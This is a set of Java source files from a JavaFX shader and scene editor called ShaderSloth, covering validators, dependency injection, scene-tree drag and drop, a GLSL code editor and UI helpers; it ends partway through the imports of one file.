import org.controlsfx.validation.Severity;
import org.controlsfx.validation.ValidationResult;
import org.controlsfx.validation.Validator;
import java.util.Locale;
import static eu.yvka.shadersloth.share.I18N.I18N.getString;
/**
* @Author Yves Kaufmann
* @since 12.07.2016
*/
public class Validations {
private static final NumberStringConverter numberStringConverter = new NumberStringConverter(Locale.getDefault());
public static <T> Validator<T> createEmptyValidator(String label) {
Validator<T> emptyValidator = Validator.createEmptyValidator(getString("validation.required", prepareLabel(label)));
return preventValidationOnHiddenFields(emptyValidator);
}
private static <T> Validator<T> preventValidationOnHiddenFields(Validator<T> emptyValidator) {
return (c, value) -> {
if (c.isDisabled() || c.isDisable() || !c.isVisible() || c.getScene() == null || c.getParent() == null) {
System.out.println("yeah");
return ValidationResult.fromMessageIf(c, null, Severity.ERROR, false);
}
return emptyValidator.apply(c, value);
};
}
private static String prepareLabel(String label) {
return label.replace(":", "");
}
public static <T extends String> Validator<T> createMinimumValidator(String label, Number minValue) {
return preventValidationOnHiddenFields(Validator.createPredicateValidator((T value) -> {
try {
Number number = numberStringConverter.fromString(value);
return number.doubleValue() >= minValue.doubleValue();
} catch (Exception ex) {}
return false;
}, getString("validation.minimum", prepareLabel(label), minValue)));
}
}
```
ShaderSlothModule.java
```package eu.yvka.shadersloth.app;
import com.google.inject.AbstractModule;
import com.google.inject.Provides;
import com.google.inject.Singleton;
import com.google.inject.TypeLiteral;
import com.google.inject.matcher.AbstractMatcher;
import com.google.inject.spi.InjectionListener;
import com.google.inject.spi.TypeEncounter;
import com.google.inject.spi.TypeListener;
import eu.yvka.shadersloth.app.preferences.GlobalUserPreferences;
import eu.yvka.shadersloth.app.project.ProjectManager;
import eu.yvka.shadersloth.share.utils.ReflectionUtils;
import eu.yvka.shadersloth.share.controller.AbstractController;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.annotation.PostConstruct;
import java.lang.reflect.Method;
/***
* This module contains all xmlbinding for the ShaderSlothRenderer.
*
* For more information about guice injection modules
* see: https://github.com/google/guice/wiki/GettingStarted.
*/
public class ShaderSlothModule extends AbstractModule {
private Logger Log = LoggerFactory.getLogger(ShaderSlothModule.class);
@Override
protected void configure() {
bind(ProjectManager.class).asEagerSingleton();
ensurePostConstructIsInvoked();
}
@Singleton
@Provides
GlobalUserPreferences provideGlobalUserPreferences() {
GlobalUserPreferences pref = new GlobalUserPreferences();
pref.readFromJavaPreference();
return pref;
}
private void ensurePostConstructIsInvoked() {
// ensures that PostConstruct is invoked after initialization.
bindListener(new AbstractMatcher<TypeLiteral<?>>() {
@Override
public boolean matches(TypeLiteral<?> typeLiteral) {
return true;
}
}, new TypeListener() {
@Override
public <I> void hear(TypeLiteral<I> type, TypeEncounter<I> encounter) {
encounter.register((InjectionListener<I>) injectee -> {
if (! (injectee instanceof AbstractController)) {
boolean wasInitialized = false;
for (Method method : ReflectionUtils.getMethodsWithAnnotation(injectee.getClass(), PostConstruct.class)) {
ReflectionUtils.invokeMethod(injectee, method);
wasInitialized = true;
}
if (wasInitialized) {
Log.info("Initialized " + injectee.getClass().getSimpleName());
}
}
});
}
});
}
}
```
GeometryEditorController.java
```package eu.yvka.shadersloth.app.sceneEditor.genericEditor;
import eu.yvka.shadersloth.app.App;
import eu.yvka.shadersloth.app.ShaderSlothController;
import eu.yvka.shadersloth.app.controls.NumberInput;
import eu.yvka.shadersloth.app.project.Project;
import eu.yvka.shadersloth.share.controller.AbstractController;
import eu.yvka.slothengine.engine.Engine;
import eu.yvka.slothengine.material.Material;
import eu.yvka.slothengine.math.MathUtils;
import eu.yvka.slothengine.scene.Geometry;
import javafx.fxml.FXML;
import javafx.scene.control.ChoiceBox;
import javafx.scene.control.SingleSelectionModel;
import javafx.scene.control.TextField;
import javafx.util.StringConverter;
import org.joml.Vector3f;
import java.util.Optional;
public class GeometryEditorController extends AbstractController {
@FXML private TextField nodeId;
@FXML private NumberInput xPosition;
@FXML private NumberInput yPosition;
@FXML private NumberInput zPosition;
@FXML private NumberInput xScale;
@FXML private NumberInput yScale;
@FXML private NumberInput zScale;
@FXML private NumberInput xRotation;
@FXML private NumberInput yRotation;
@FXML private NumberInput zRotation;
@FXML ChoiceBox<Material> materialChooser;
private Optional<Geometry> selectedNode = Optional.empty();
private final ShaderSlothController slothController;
public GeometryEditorController(ShaderSlothController controller) {
super(App.class.getResource("view/modelEditor.fxml"));
this.slothController = controller;
}
@Override
protected void onFxmlLoaded() {
nodeId.textProperty().addListener((currentId, oldId, newId) -> {
selectedNode.ifPresent((node) -> {
node.setId(newId);
slothController.getSceneTreeEditorController().notifyUpdate();
});
});
xPosition.valueProperty().addListener((observable, oldValue, newValue) -> {
selectedNode.ifPresent((node) -> node.getPosition().x = newValue.floatValue());
});
yPosition.valueProperty().addListener((observable, oldValue, newValue) -> {
selectedNode.ifPresent((node) -> node.getPosition().y = newValue.floatValue());
});
zPosition.valueProperty().addListener((observable, oldValue, newValue) -> {
selectedNode.ifPresent((node) -> node.getPosition().z = newValue.floatValue());
});
xScale.setMinValue(0.0);
xScale.valueProperty().addListener((observable, oldValue, newValue) -> {
selectedNode.ifPresent((node) -> node.getScale().x = newValue.floatValue());
});
yScale.setMinValue(0.0);
yScale.valueProperty().addListener((observable, oldValue, newValue) -> {
selectedNode.ifPresent((node) -> node.getScale().y = newValue.floatValue());
});
zScale.setMinValue(0.0);
zScale.valueProperty().addListener((observable, oldValue, newValue) -> {
selectedNode.ifPresent((node) -> node.getScale().z = newValue.floatValue());
});
xRotation.valueProperty().addListener((observable, oldValue, newValue) -> {
selectedNode.ifPresent((node) -> node.getRotation().rotationX(MathUtils.toRadians(newValue.floatValue())));
});
yRotation.valueProperty().addListener((observable, oldValue, newValue) -> {
selectedNode.ifPresent((node) -> node.getRotation().rotationY(MathUtils.toRadians(newValue.floatValue())));
});
zRotation.valueProperty().addListener((observable, oldValue, newValue) -> {
selectedNode.ifPresent((node) -> node.getRotation().rotationZ(MathUtils.toRadians(newValue.floatValue())));
});
initMaterialChooser();
}
private void initMaterialChooser() {
materialChooser.setConverter(new StringConverter<Material>() {
@Override
public String toString(Material object) {
return object.getMaterialName();
}
@Override
public Material fromString(String materialName) {
return null;
}
});
materialChooser.valueProperty().addListener((observable, oldMaterial, newMaterial) -> {
if (newMaterial == null || oldMaterial == newMaterial) return;
selectedNode.ifPresent((node) -> Engine.runWhenReady(() -> node.setMaterial(newMaterial)));
});
}
private void reloadMaterials() {
SingleSelectionModel<Material> selectionModel = materialChooser.getSelectionModel();
Material selection = selectionModel.getSelectedItem();
final Material previousSelectedValue = materialChooser.getValue();
final Project project = slothController.getProject();
materialChooser.getItems().setAll(project.getMaterials());
if (selection != null && materialChooser.getItems().contains(selection)) {
selectionModel.select(selection);
} else {
selectionModel.selectFirst();
}
}
public void updateData(Geometry node) {
selectedNode = Optional.of(node);
nodeId.setText(node.getId());
Vector3f position = node.getPosition();
Vector3f scale = node.getScale();
Vector3f rotation = new Vector3f();
node.getRotation().getEulerAnglesXYZ(rotation);
xPosition.setValue(position.x);
yPosition.setValue(position.y);
zPosition.setValue(position.z);
xRotation.setValue(MathUtils.toDegrees(rotation.x));
yRotation.setValue(MathUtils.toDegrees(rotation.y));
zRotation.setValue(MathUtils.toDegrees(rotation.z));
xScale.setValue(scale.x);
yScale.setValue(scale.y);
zScale.setValue(scale.z);
reloadMaterials();
materialChooser.setValue(node.getMaterial());
}
}
```
SceneTreeCell.java
```package eu.yvka.shadersloth.app.sceneEditor;
import eu.yvka.shadersloth.app.App;
import eu.yvka.shadersloth.app.renderView.ShaderSlothRenderer;
import eu.yvka.slothengine.engine.Engine;
import eu.yvka.slothengine.scene.Geometry;
import eu.yvka.slothengine.scene.Node;
import eu.yvka.slothengine.scene.Scene;
import eu.yvka.slothengine.scene.light.Light;
import javafx.event.Event;
import javafx.event.EventHandler;
import javafx.geometry.Point2D;
import javafx.scene.control.*;
import javafx.scene.effect.Glow;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.input.*;
import javafx.scene.layout.*;
import javafx.scene.paint.Color;
import org.controlsfx.tools.Borders;
import java.io.Serializable;
import java.util.Collections;
import java.util.Objects;
import java.util.function.Predicate;
public class SceneTreeCell extends TreeCell<Node> {
private static final DataFormat SERIALIZED_MIME_TYPE = new DataFormat("application/x-java-serialized-object");
private Image bulbIcon = null;
private Image sceneIcon = null;
private Image meshIcon = null;
private SceneTreeEditorController sceneTreeEditorController = null;
public SceneTreeCell(SceneTreeEditorController sceneTreeEditorController) {
this.sceneTreeEditorController = sceneTreeEditorController;
initDragAndDrop();
setContextMenu(createTreeContextMenu());
}
public void initDragAndDrop() {
setOnDragDetected((e) -> {
int index = SceneTreeCell.this.getIndex();
if (index >= 0) {
Dragboard dragboard = getTreeView().startDragAndDrop(TransferMode.MOVE);
ClipboardContent cc = new ClipboardContent();
// store the index of the item we want to move
cc.put(SERIALIZED_MIME_TYPE, index);
dragboard.setContent(cc);
dragboard.setDragView(snapshot(null, null));
e.consume();
}
});
setOnDragOver((e) -> {
Dragboard dragboard = e.getDragboard();
int srcIndex = (int) dragboard.getContent(SERIALIZED_MIME_TYPE);
int curIndex = getIndex();
System.out.println(srcIndex);
int dragBehind = isDragBehind(e, srcIndex, curIndex);
// if we change the sibling order we can ignore index changes while
// dragBehind is currently not complete implemented
if (dragBehind != 0 && false) {
if (dragBehind < 0) {
setStyle("-fx-border-width: 1px 0 0 0; -fx-border-color: black; -fx-border-style: dashed;");
} else {
setStyle("-fx-border-width: 0 0 1px 0; -fx-border-color: black; -fx-border-style: dashed;");
}
e.acceptTransferModes(TransferMode.MOVE);
e.consume();
// Change parent / child relationship
} else {
setUnderline(true);
setStyle("-fx-border-width: 1px; -fx-border-color: black; -fx-border-style: dashed;");
if (isDropAcceptable(dragboard, getTreeView())) {
e.acceptTransferModes(TransferMode.MOVE);
e.consume();
}
}
});
setOnDragExited((e) -> {
setUnderline(false);
setEffect(null);
setStyle(null);
setBorder(null);
e.consume();
});
setOnDragDropped((e) -> {
final Dragboard dragboard = e.getDragboard();
int index = (int) dragboard.getContent(SERIALIZED_MIME_TYPE);
int dragBehind = isDragBehind(e, index, getIndex());
TreeItem<Node> srcNodeItem = getTreeView().getTreeItem(index);
TreeItem<Node> targetNodeItem = getTarget(getTreeView(), getTreeItem());
// change only parent relationship
if (dragBehind == 0) {
// change view model only
srcNodeItem.getParent().getChildren().remove(srcNodeItem);
targetNodeItem.getChildren().add(srcNodeItem);
Node srcNode = srcNodeItem.getValue();
Node targetNode = targetNodeItem.getValue();
// move the srcNode to its new parent once the engine isn't rendering anymore
Engine.runWhenReady(() -> {
srcNode.getParent().removeChild(srcNode);
targetNode.addChild(srcNode);
});
}
e.setDropCompleted(true);
e.consume();
});
}
private boolean isDropAcceptable(Dragboard dragboard, TreeView<Node> treeView) {
boolean isAcceptable = false;
if (dragboard.hasContent(SERIALIZED_MIME_TYPE)) {
int srcIndex = (int) dragboard.getContent(SERIALIZED_MIME_TYPE);
int curIndex = getIndex();
// srcElement and target element are not the same element
if (srcIndex != curIndex) {
TreeItem<Node> srcItem = treeView.getTreeItem(srcIndex);
TreeItem<Node> curItem = treeView.getTreeItem(curIndex);
TreeItem<Node> tgtItem = getTarget(treeView, curItem);
// prevent loops in the scene graph
isAcceptable = !isParent(srcItem, tgtItem) &&
srcItem.getParent() != tgtItem &&
// ... and that lights have no children
!(tgtItem.getValue() instanceof Light);
}
}
return isAcceptable;
}
private TreeItem<Node> getTarget(TreeView<Node> treeView, TreeItem<Node> curItem) {
TreeItem<Node> tgtItem = treeView.getRoot();
if (! isEmpty()) {
tgtItem = curItem;
}
return tgtItem;
}
private boolean isParent(TreeItem parent, TreeItem child) {
boolean isParentNode = false;
while (!isParentNode && child != null) {
isParentNode = child.getParent() == parent;
child = child.getParent();
}
return isParentNode;
}
private int isDragBehind(DragEvent e, int srcIndex, int curIndex) {
final Point2D sceneCoordinates = localToScene(0d, 0d);
double centerY = getHeight() * 0.5f;
double yOffset = e.getSceneY() - (sceneCoordinates.getY()) - centerY;
// when the dragged node cursor is near the edge
// then we want to enable sibling order changes
boolean changeSiblingOrder = Math.abs(yOffset) > centerY * 0.70 && Math.abs(srcIndex - curIndex) > 1;
if (changeSiblingOrder) {
return yOffset < 0 ? -1 : 1;
}
return 0;
}
@Override
protected void updateItem(Node item, boolean empty) {
super.updateItem(item, empty);
if(item == null || empty) {
setText(null);
setGraphic(null);
}
if (item != null && !empty) {
setText(item.getId());
setGraphic(chooseGraphicByNode(item));
}
}
private javafx.scene.Node chooseGraphicByNode(Node item) {
ImageView imageView = null;
if (isRootNode(item)) {
if (sceneIcon == null) {
sceneIcon = new Image(App.class.getResource("images/project_icon_16x16.png").toExternalForm());
}
imageView = new ImageView(sceneIcon);
}
if (Geometry.class.isInstance(item)) {
if (meshIcon == null) {
meshIcon = new Image(App.class.getResource("images/mesh_icon_16x16.png").toExternalForm());
}
imageView = new ImageView(meshIcon);
}
if (Light.class.isInstance(item)) {
if (bulbIcon == null) {
bulbIcon = new Image(App.class.getResource("images/bulb_icon_16x16.png").toExternalForm());
}
imageView = new ImageView(bulbIcon);
}
imageView.setDisable(true);
return imageView;
}
private boolean isRootNode(Node item) {
return item.getParent() == null;
}
private ContextMenu createTreeContextMenu() {
Menu newMenu = new Menu("New");
MenuItem newGeometryMenu = new MenuItem("Geometry");
MenuItem newLightMenu = new MenuItem("Light");
MenuItem deleteMenuItem = new MenuItem("Delete");
newGeometryMenu.setOnAction(sceneTreeEditorController::onNewGeometry);
newLightMenu.setOnAction(sceneTreeEditorController::onNewLight);
deleteMenuItem.setOnAction(sceneTreeEditorController::onRemoveEntry);
ContextMenu contextMenu = new ContextMenu(newMenu, deleteMenuItem);
Predicate<Node> isLight = (node) -> node != null && (node instanceof Light);
contextMenu.setOnShown((e) -> {
if (isLight.test(getItem())) {
newMenu.getItems().clear();
newMenu.setVisible(false);
} else {
newMenu.getItems().setAll(newLightMenu, newGeometryMenu);
newMenu.setVisible(true);
}
TreeItem<Node> root = getTreeView().getRoot();
TreeItem<Node> curItem = getTreeItem();
boolean isRootElement = Objects.equals(root, curItem);
deleteMenuItem.setVisible(! isRootElement && !isEmpty());
e.consume();
});
return contextMenu;
}
}
```
ActionTrigger.java
```package eu.yvka.shadersloth.share.actions.annotations;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Target(ElementType.FIELD)
@Retention(RetentionPolicy.RUNTIME)
public @interface ActionTrigger {
String actionIdentifier();
}
```
ProjectConstants.java
```package eu.yvka.shadersloth.app.project;
/**
* @author Yves Kaufmann
* @since 16.07.2016
*/
public class ProjectConstants {
public static final String PROJECT_TAG = "project";
public static final String PROJECT_ATTR_NAME = "name";
public static final String PROJECT_ATTR_FOLDER = "projectFolder";
public static final String SCENE_TAG = "scene";
public static final String CAMERA_TAG = "camera";
public static final String CLASS_ATTR = "class";
public static final String POSITION_TAG = "position";
public static final String VECTOR_ATTR_X = "x";
public static final String VECTOR_ATTR_Y = "y";
public static final String VECTOR_ATTR_Z = "z";
public static final String VECTOR_ATTR_W = "w";
public static final String DIRECTION_TAG = "direction";
public static final String ROTATION_TAG = "rotation";
public static final String LIGHTS_TAG = "lights";
public static final String LIGHT_TAG = "light";
public static final String LIGHT_ATTR_TYPE = "lightType" ;
public static final String VALUE_ATTR = "value";
public static final String LIGHT_ATTENTION_TAG = "attenuation";
public static final String COLOR_TAG = "color";
public static final String COLOR_ATTR_R = "r";
public static final String COLOR_ATTR_G = "g";
public static final String COLOR_ATTR_B = "b";
public static final String COLOR_ATTR_A = "a";
public static final String ID_ATTR = "id";
public static final String SCALE_TAG = "scale";
public static final String NODES_TAG = "nodes";
public static final String NODE_TAG = "node";
public static final String CHILDREN_TAG = "children";
}
```
ShaderErrorAppender.java
```package eu.yvka.shadersloth.app.materialEditor.shaders.errors;
import java.util.List;
/**
* @Author Yves Kaufmann
* @since 13.07.2016
*/
public class ShaderErrorAppender<E> {
private List<E> list;
protected void append(E eventObject) {
list.add(eventObject);
}
synchronized
public void setModel(List<E> list) {
this.list = list;
}
}
```
Controller.java
```package eu.yvka.shadersloth.share.controller.annotations;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
/**
* Specifies information about a controllers.
*/
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface Controller {
/**
* Specifies the title of controllers,
* the title will be rendered in the action bar.
*/
String title();
/**
* Icon which will be displayed in link buttons
* which leads to this controllers view.
*
* @return a utf8 escaped character which defines the icon.
*/
String icon() default "";
}
```
ShaderEditor.java
```package eu.yvka.shadersloth.app.materialEditor.shaders;
import eu.yvka.shadersloth.app.App;
import eu.yvka.slothengine.shader.source.ShaderSource;
import impl.org.controlsfx.skin.AutoCompletePopup;
import javafx.beans.property.ObjectProperty;
import javafx.beans.property.SimpleObjectProperty;
import javafx.event.EventHandler;
import javafx.scene.input.KeyCode;
import javafx.scene.input.KeyEvent;
import org.fxmisc.richtext.*;
import org.fxmisc.wellbehaved.event.EventHandlerHelper;
import java.util.Collection;
import java.util.Collections;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import static javafx.scene.input.KeyCombination.CONTROL_DOWN;
import static org.fxmisc.wellbehaved.event.EventPattern.keyPressed;
public class ShaderEditor extends CodeArea {
private static final String EXAMPLE_CODE = "#version 130\n" +
"\n" +
"in vec3 fragmentColor;\n" +
"out vec4 fragColor;\n" +
"\n" +
"uniform int isWireframe;\n" +
"\n" +
"void main() {\n" +
"\t// Output color = color specified in the vertex core.shader, \n" +
"\t// interpolated between all 3 surrounding vertices\n" +
"\n" +
"\tvec3 color = vec3(fragmentColor.r * 0.5);\n" +
"\n" +
"\tif (isWireframe == 1) {\n" +
"\t color = 1.0 - vec3(0.1, 0.1, 0.1);\n" +
"\t}\n" +
"\n" +
"\tfragColor = vec4(color, 1.0f);\n" +
"\n" +
"}\n";
private static final Pattern GLSL_KEY_WORD = Pattern.compile("(?<TYPE>int|float|vec[234]|mat[234])");
private static final int TYPE_GROUP = 1 ;
private AutoCompletePopup<String> autoCompletePopup;
/******************************************************************************
*
* Constructors
*
******************************************************************************/
public ShaderEditor(final ShaderSource source) {
this();
sourceProperty().set(source);
}
public ShaderEditor() {
super();
getStylesheets().add(App.class.getResource("css/glsl-highlighting.css").toExternalForm());
setParagraphGraphicFactory(LineNumberFactory.get(this));
textProperty().addListener((obs, oldText, newText) -> {
setStyleSpans(0, computeHighlighting(newText));
});
sourceProperty().addListener((observable, oldValue, newValue) -> {
replaceText(0,0, newValue.getSource());
getUndoManager().forgetHistory();
getUndoManager().mark();
});
textProperty().addListener((observable1, oldValue1, newValue1) -> {
if (source != null) source.get().updateShaderSource(newValue1);
});
EventHandler<? super KeyEvent> ctrlS = EventHandlerHelper.on(keyPressed(KeyCode.SPACE, CONTROL_DOWN)).act(this::onCompletion).create();
EventHandlerHelper.install(onKeyPressedProperty(), ctrlS);
}
/******************************************************************************
*
* Methods
*
******************************************************************************/
private void onCompletion(KeyEvent keyEvent) {
if (autoCompletePopup == null) {
autoCompletePopup = new AutoCompletePopup<>();
autoCompletePopup.getSuggestions().addAll("vec4", "sin4");
autoCompletePopup.setHideOnEscape(true);
setPopupWindow(autoCompletePopup);
setPopupAlignment(PopupAlignment.CARET_BOTTOM);
positionCaret(getCaretPosition() + 1);
positionCaret(getCaretPosition() - 1);
}
autoCompletePopup.show(this.getScene().getWindow());
}
private StyleSpans<? extends Collection<String>> computeHighlighting(String text) {
StyleSpansBuilder<Collection<String>> spansBuilder = new StyleSpansBuilder<>();
Matcher typeMatcher = GLSL_KEY_WORD.matcher(text);
int lastKwEnd = 0;
while (typeMatcher.find()) {
spansBuilder.add(Collections.emptyList(), typeMatcher.start() - lastKwEnd);
if (typeMatcher.group(TYPE_GROUP) != null) {
spansBuilder.add(Collections.singleton("type"), typeMatcher.end() - typeMatcher.start());
} else {
spansBuilder.add(Collections.singleton("text"), typeMatcher.end() - typeMatcher.start());
}
lastKwEnd = typeMatcher.end();
}
spansBuilder.add(Collections.emptyList(), text.length() - lastKwEnd);
return spansBuilder.create();
}
/******************************************************************************
*
* Properties
*
******************************************************************************/
private ObjectProperty<ShaderSource> source;
public ObjectProperty<ShaderSource> sourceProperty() {
if (source == null) {
source = new SimpleObjectProperty<>(this, "source");
}
return source;
}
}
```
ControllerLoaderException.java
```package eu.yvka.shadersloth.share.controller;
/**
* Indicates error which happens during the controllers creation.
*/
public class ControllerLoaderException extends Exception {
private static final long serialVersionUID = 1L;
public ControllerLoaderException(String message) {
super(message);
}
public ControllerLoaderException() {
}
public ControllerLoaderException(String message, Throwable cause) {
super(message, cause);
}
public ControllerLoaderException(Throwable cause) {
super(cause);
}
public ControllerLoaderException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) {
super(message, cause, enableSuppression, writableStackTrace);
}
}
```
NodeUtils.java
```package eu.yvka.shadersloth.share.utils;
import javafx.geometry.Bounds;
import javafx.geometry.HPos;
import javafx.geometry.VPos;
import javafx.scene.Node;
import javafx.scene.Parent;
import javafx.scene.layout.Region;
import javafx.scene.text.Font;
import javafx.scene.text.Text;
import javafx.scene.text.TextBoundsType;
import java.util.Arrays;
import java.util.List;
import java.util.function.Supplier;
public class NodeUtils {
public static void centerNode(Node node) {
Parent parent = node.getParent();
centerNode(node, parent);
}
public static void centerNode(Node node, Node parent) {
Bounds nodeBounds = node.getLayoutBounds();
Bounds nodeParent = parent.getLayoutBounds();
if (parent != null) {
node.setTranslateX((nodeParent.getWidth() - nodeBounds.getWidth()) * 0.5);
node.setTranslateY((nodeParent.getHeight() - nodeBounds.getHeight()) * 0.5);
}
}
public static double computeXOffset(double width, double contentWidth, HPos hpos) {
if (hpos == null) {
return 0;
}
switch(hpos) {
case LEFT:
return 0;
case CENTER:
return (width - contentWidth) / 2;
case RIGHT:
return width - contentWidth;
default:
return 0;
}
}
public static double computeYOffset(double height, double contentHeight, VPos vpos) {
if (vpos == null) {
return 0;
}
switch(vpos) {
case TOP:
return 0;
case CENTER:
return (height - contentHeight) / 2;
case BOTTOM:
return height - contentHeight;
default:
return 0;
}
}
public static double computeTextWidth(Font font , String text, double wrappingWidth) {
Text textLayout = new Text();
textLayout.setWrappingWidth(wrappingWidth);
textLayout.setFont(font);
textLayout.setText(text);
return textLayout.getLayoutBounds().getWidth();
}
public static double computeTextHeight(Font font, String text, double wrappingWidth, TextBoundsType boundsType) {
return computeTextHeight(font, text, wrappingWidth, 0, boundsType);
}
public static double computeTextHeight(Font font, String text, double wrappingWidth, double lineSpacing, TextBoundsType boundsType) {
return computeTextHeight(font, text, wrappingWidth, lineSpacing, boundsType, null);
}
public static double computeTextHeight(Font font, String text, double wrappingWidth, double lineSpacing, TextBoundsType boundsType, String style) {
if (style == null) style = "";
Text textLayout = new Text();
textLayout.setText(text);
textLayout.setWrappingWidth(wrappingWidth);
textLayout.setLineSpacing(lineSpacing);
textLayout.setBoundsType(boundsType);
textLayout.setStyle(style);
return textLayout.getLayoutBounds().getHeight();
}
public static final void printSizeInfo(final Region node) {
printSizeInfo(node, null);
}
public static final void printSizeInfo(final Region node, String alternativeName) {
Supplier<String> nameSupplier = () -> {
String name = alternativeName == null? node.getId() : alternativeName;
if (name == null) {
name = node.getClass().getSimpleName();
}
return name;
};
final String nodeName = nameSupplier.get();
List<String> sizeProperties = Arrays.asList("Width", "Height");
List<String> sizeAttributes = Arrays.asList("Min", "Pref", "Max");
/* Print all size information about a node */
sizeAttributes.stream()
.flatMap((attr) -> sizeProperties.stream().map((prop) -> "get" + attr + prop ))
.forEach((method) -> {
try {
System.out.println(nodeName + "." + method + "() = " + ReflectionUtils.invokeMethod(node, method));
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
});
System.out.println(nodeName + ".getLayoutBounds() = " + node.getLayoutBounds());
}
}
```
Controllers.java
```package eu.yvka.shadersloth.share.controller;
import eu.yvka.shadersloth.share.context.ViewContext;
import eu.yvka.shadersloth.share.utils.ReflectionUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.annotation.PreDestroy;
import java.util.HashMap;
import java.util.Map;
/**
* Controller Registry
*/
public class Controllers {
private static final Logger Log = LoggerFactory.getLogger(Controllers.class);
/******************************************************************************
*
* Fields
*
******************************************************************************/
private static Controllers INSTANCE;
private Map<Class<? extends AbstractController>, ViewContext> controllerMap;
/******************************************************************************
*
* Constructors
*
************************************************************************F******/
private Controllers() {
controllerMap = new HashMap<>();
}
public synchronized static Controllers getInstance() {
if (INSTANCE == null) {
INSTANCE = new Controllers();
}
return INSTANCE;
}
public void registerController(Class<? extends AbstractController> controllerType) {
if (! controllerMap.containsKey(controllerType)) {
String controllerName = controllerType.getSimpleName();
try {
Log.info("Register " + controllerType.getSimpleName());
AbstractController controllerInstance = (AbstractController) controllerType.newInstance();
controllerMap.put(controllerType, controllerInstance.getContext());
} catch (InstantiationException | ControllerLoaderException | IllegalAccessException e ) {
throw new IllegalStateException("Failed to register " + controllerType.getSimpleName(), e);
}
}
};
public void unregisterController(Class<? extends AbstractController> controllerType) {
if (controllerMap.containsKey(controllerType)) {
ViewContext ctx = controllerMap.remove(controllerType);
Log.debug("Shutdown controller {}", controllerType.getName());
}
};
public <T extends AbstractController> T get(Class<T> controllerType) {
ViewContext<T> ctx = getContext(controllerType);
return ctx != null ? ctx.getController() : null;
}
public <T extends AbstractController> ViewContext<T> getContext(Class<T> controllerType) {
if (controllerMap.containsKey(controllerType)) {
return controllerMap.get(controllerType);
}
return null;
}
public void unregister() {
controllerMap.forEach((controllerCls, ctx) -> {
Log.debug("Shutdown controller {}", controllerCls.getName());
ReflectionUtils.invokeMethodsWithAnnotation(controllerCls, ctx.getController(), PreDestroy.class);
});
controllerMap.clear();
}
}
```
FXMLViewContext.java
```package eu.yvka.shadersloth.share.controller.annotations;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
/**
* Indicates a field which should obtain a {@link net.sharksystem.sharknet.javafx.context.net.sharksystem.sharknet.javafx.context.ViewContext}
*/
@Target(ElementType.FIELD)
@Retention(RetentionPolicy.RUNTIME)
public @interface FXMLViewContext {
}
```
CellUtils.java
```package eu.yvka.shadersloth.share.utils;
import javafx.scene.Node;
import javafx.scene.control.*;
import javafx.scene.input.KeyCode;
import javafx.scene.layout.HBox;
import javafx.util.StringConverter;
/**
* An convenient helper for implementing
* cells.
*/
public class CellUtils {
/***************************************************************************
* *
* TextField Helpers *
* *
***************************************************************************/
public static <T> void updateItem(final Cell<T> cell,
final StringConverter<T> converter,
final TextField textField) {
updateItem(cell, converter, null, null, textField);
}
public static <T> void updateItem(final Cell<T> cell,
final StringConverter<T> converter,
final HBox hbox,
final Node graphic,
final TextField textField) {
if (cell.isEmpty()) {
cell.setGraphic(null);
cell.setText(null);
} else {
if (cell.isEditing()) {
if (textField != null) {
textField.setText(getItemText(cell, converter));
}
cell.setText(null);
if (graphic != null) {
hbox.getChildren().setAll(graphic, textField);
cell.setGraphic(hbox);
} else {
cell.setGraphic(textField);
}
} else {
cell.setText(getItemText(cell, converter));
cell.setGraphic(graphic);
}
}
}
public static <T> TextField createTextField(Cell<T> cell, StringConverter<T> converter) {
final TextField textField = new TextField(converter.toString(cell.getItem()));
textField.setOnAction((event) -> {
if (converter == null) {
throw new IllegalStateException(
"Attempting to convert text input into Object, but provided "
+ "StringConverter is null. Be sure to set a StringConverter "
+ "in your cell factory.");
}
cell.commitEdit(converter.fromString(textField.getText()));
event.consume();
});
textField.setOnKeyReleased((event) -> {
if (KeyCode.ESCAPE.equals(event.getCode())) {
cell.cancelEdit();
}
event.consume();
});
return textField;
}
public static <T> void startEdit(final Cell<T> cell, final StringConverter<T> converter, TextField textField, final HBox hBox, Node graphic) {
if (textField != null) {
textField.setText(getItemText(cell, converter));
}
cell.setText(null);
if (graphic != null) {
hBox.getChildren().addAll(graphic, textField);
cell.setGraphic(hBox);
} else {
cell.setGraphic(textField);
}
if (textField != null) {
textField.requestFocus();
textField.selectAll();
}
}
public static <T> void cancelEdit(Cell<T> cell, final StringConverter<T> converter, Node graphic) {
cell.setText(getItemText(cell, converter));
cell.setGraphic(graphic);
}
public static <T> String getItemText(Cell<T> cell, StringConverter<T> converter) {
if (converter == null) {
return cell.getItem() == null ? "" : cell.getItem().toString();
}
return converter.toString(cell.getItem());
}
}
```
ProjectManager.java
```package eu.yvka.shadersloth.app.project;
import eu.yvka.shadersloth.app.AppFolder;
import eu.yvka.shadersloth.app.materialEditor.shaders.ShaderTemplateHelper;
import eu.yvka.shadersloth.share.I18N.I18N;
import eu.yvka.shadersloth.share.controls.FileAlreadyExistsDialog;
import eu.yvka.slothengine.geometry.Mesh;
import eu.yvka.slothengine.geometry.primitives.Cube;
import eu.yvka.slothengine.material.BasicMaterial;
import eu.yvka.slothengine.material.MaterialManager;
import eu.yvka.slothengine.math.Color;
import eu.yvka.slothengine.scene.Geometry;
import eu.yvka.slothengine.scene.Scene;
import eu.yvka.slothengine.scene.camera.FreeCamera;
import eu.yvka.slothengine.scene.light.PointLight;
import eu.yvka.slothengine.shader.Shader;
import eu.yvka.slothengine.utils.NameAlreadyInUseException;
import javafx.application.Application;
import javafx.beans.property.ObjectProperty;
import javafx.beans.property.SimpleObjectProperty;
import javafx.event.ActionEvent;
import javafx.scene.control.Button;
import javafx.scene.control.ButtonType;
import javafx.scene.control.Dialog;
import javafx.scene.control.TextInputDialog;
import javafx.stage.Stage;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;
